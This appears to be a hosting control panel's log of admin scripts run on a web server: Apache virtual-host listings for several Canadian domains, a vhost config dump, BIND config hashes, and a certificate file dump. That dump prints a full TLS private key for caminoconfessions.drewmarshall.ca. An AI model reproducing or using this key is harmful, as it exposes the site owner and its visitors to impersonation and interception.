AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-05 13:46:30: Establishing a connection
2026-01-05 13:46:30:
PUT: /tmp/pkp236371
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-05 13:46:30:
chmod 755 /tmp/pkp236371; /tmp/pkp236371; rm /tmp/pkp236371
2026-01-05 13:46:30:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-05 13:46:30:
PUT: /tmp/pkp428636
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-05 13:46:30:
chmod 755 /tmp/pkp428636; /tmp/pkp428636; rm /tmp/pkp428636
2026-01-05 13:46:30:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf 1479
<VirtualHost *:80>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-05 13:46:30:
PUT: /tmp/pkp675599
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-05 13:46:30:
chmod 755 /tmp/pkp675599; /tmp/pkp675599; rm /tmp/pkp675599
2026-01-05 13:46:30:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt 5397
b4:e0:d2:3b:b1:92:86:d9:32:16:23:e3:f6:fd:a1:6f
-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBbZSPG9kq+uPobbdA7b2hnUvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA1MTI0NzU4WhcNMjYwNDA1MTI0NzU3WjAsMSowKAYDVQQD
EyFjYW1pbm9jb25mZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDN9Uwy9GjmokTnjyC25cfD8Py0ovh/df5xs36M
gT//yCAlk45pkvohox4LTWfklJD84bd5A20vFv64jEjS3gWl2gP6s63/icZ3cJ5Z
Vbekqua3/G1TCKe2tOx0TaVPvMn9RtAZQHZ5ha0nN5ZrScW2pNxrjaMSIBiVHVDk
6cUVzWn4iElPkQ/trEstMAlp0NTOetyhIwjB7ikG8rddJvRm2eCi2+bgM2TL7fo6
hdIke5i2C+el4w6iFLp/TVsRxJSK2MGpSyUxLwQ8G8UTG1d8XUDIOcaTUtz3SNyj
mDHPhf5EMFhp6qODgkKgxetZiEC+aYKwGsxd6y1Dh7er/Z25AgMBAAGjggIxMIIC
LTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMC
MAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFLbWr3VMBcYCz8A3UHhgGgOWaTvjMB8G
A1UdIwQYMBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAj
BggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wLAYDVR0RBCUwI4Ih
Y2FtaW5vY29uZmVzc2lvbnMuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
NDguY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2Sm
uFuvCoeAGdFVUvvp6ynd+MMAAAGbjmjBUAAABAMARzBFAiBxlfi4mn64gdrXHCub
v1s5m4ygMN6NJB0K7TihviupowIhAPJfsiCkwOgDVotSZIRvXAClqBam04qeMnkg
gMdgacNyAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGbjmjB
WQAABAMARzBFAiAHmHusqIQQKPKVmdMjxgNM9QipyAwxWwfDNRztSkaY/QIhAK0J
4f7iC1OKzeW7HBf0V728uDyzgK0JMwpIuc/egQLNMA0GCSqGSIb3DQEBCwUAA4IB
AQAGBE08kLdgJcz5K18zCUl6R+CuDf9vAAqJm6BctbBtzgq7zgyZmFJlDrK2CiGy
lTlviDTYcS/Ee2Lslne4FniLqQB5WXJsDCqn9WaGy9G4Afo71aL7Ok0YBPD3FR5X
C2Xz32vmBXc3+wmoHuxzJ07wG4L4d0ELatdFpXwKiTElGY9hoUBfxTYshK9vGPUL
GUUukk/L57qef1iGtG86RsPCLKXu2lrKQVST9vzI/oKFy5Nwj8JlUXryrAV/+m2J
jtPW4hOEu2Z4Azi5Y3xAucznGkolloFypgSt29U2hTrfkGSki1u+yAHeRu2srl1H
d11uCwHxC/vkr4Zd/bYEmfje
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDN9Uwy9GjmokTn
jyC25cfD8Py0ovh/df5xs36MgT//yCAlk45pkvohox4LTWfklJD84bd5A20vFv64
jEjS3gWl2gP6s63/icZ3cJ5ZVbekqua3/G1TCKe2tOx0TaVPvMn9RtAZQHZ5ha0n
N5ZrScW2pNxrjaMSIBiVHVDk6cUVzWn4iElPkQ/trEstMAlp0NTOetyhIwjB7ikG
8rddJvRm2eCi2+bgM2TL7fo6hdIke5i2C+el4w6iFLp/TVsRxJSK2MGpSyUxLwQ8
G8UTG1d8XUDIOcaTUtz3SNyjmDHPhf5EMFhp6qODgkKgxetZiEC+aYKwGsxd6y1D
h7er/Z25AgMBAAECggEAEcwIDRq+M9IpNrWd/V/56DsbQx3jPKeWcjHKyVswpUQg
TwIjDlYzUHownu5ngCkiv2j4lASEe0sdfX0vaWIV39qCeVGGEBMfBMD4PFgu82Ck
Av/VKWJelIGp/kGbyG06XeBjT0NMP/Aze031rNV/noQ8p2IvIxWF7XpOiRfDcY1n
CsOoVWmD0FRAsAud+9VZ4S+M0aWP0Y0XiVuYJ18yVhj5sH7atis5BASlqWA1ddzT
wMx4q+NkZbeEy7tA0UMIcp9+Mjp7v1iZhPTPEFr/gHEZ6R5B1UpC3UWHyrUaAecU
/itaT0Msr9FTtWBvFzpii7Wqcut6HygVQ22eQ19svwKBgQD0+mFAVhA9qnNvRYyz
se+qIs+9fy9XHbm+c3EsGXcq1gH/Y7BoVit4ki+LNe57N9FitvG0gshM1M4HM8h7
MQz9bUAIRLjMZyQ/1gT02aAg0iYUyXv7x+UCuNnSmjXT/ipp0ECretkHIzkljVeY
Etr68Tmpht+SWPCYEl0R2NQgzwKBgQDXOX41VMBtkjb20w9+zqlIpPDLtiuzKgwJ
CjCuUDTGffu24vRTbRt3LdtOlRXkw+d3p80uUxrRA03rRR2lmVPHAyCT4qdVARYB
tlOaor4gt1MmvcwC5XZ/bPtDExOUATd3RClfG77bQtMuidRsDftf2CThATgkTAXO
ZyRg0xAq9wKBgGc9eWymmHOUeM9k7RXxoAIAZ7IBfo7lHRkxB3nBRaJMzEy302k1
H17RpK2zTcypylkiphwfnZAbgrQwU4XvNv06ZGjXpVWnBfTNGguiB0Stq5TJELIc
HNwX0NxbVuH/VBqBxC9AN2Q1qOi1dzvEfnqQ3G8gQuonB0XfP0+9JDCrAoGAL7NJ
Wo6PG3nFfszmaUdqU3Ri/fNBGjNeeX5traSPHdL8P9trJTZQWQiry23VbV9R5L4n
BnZawipGUbd+y54A6GG0DbK1PWzBMN31B5e8JcobvsFf/uBWdAV2ZrZKp4nhfih4
NuESWswju/PGRbCPnv1rpwa7J6hFvSo08NS2h58CgYAeleqPCxJRfGTgDepoDrNg
ch2MVda7lo45Cs2lbBDcPuIzI3hIxnlw4IqBixl3okKHaWEtshXq+/Tds8MEZQxU
lZYe8kXhR/8VH+WE0m4MAttqxDP5BXfStJDFvQC3MZzbiFLQvQMPu8e9dpfRQ6Tm
bvR5klqyjp7rR9Cm+nHIKw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-05 13:48:22: Establishing a connection
2026-01-05 13:48:34: Establishing a connection
2026-01-05 13:48:34:
PUT: /tmp/pkp141907
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-05 13:48:35:
runuser -l bind -s /bin/bash -c '/tmp/pkp141907; rm /tmp/pkp141907'
2026-01-05 13:48:35:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
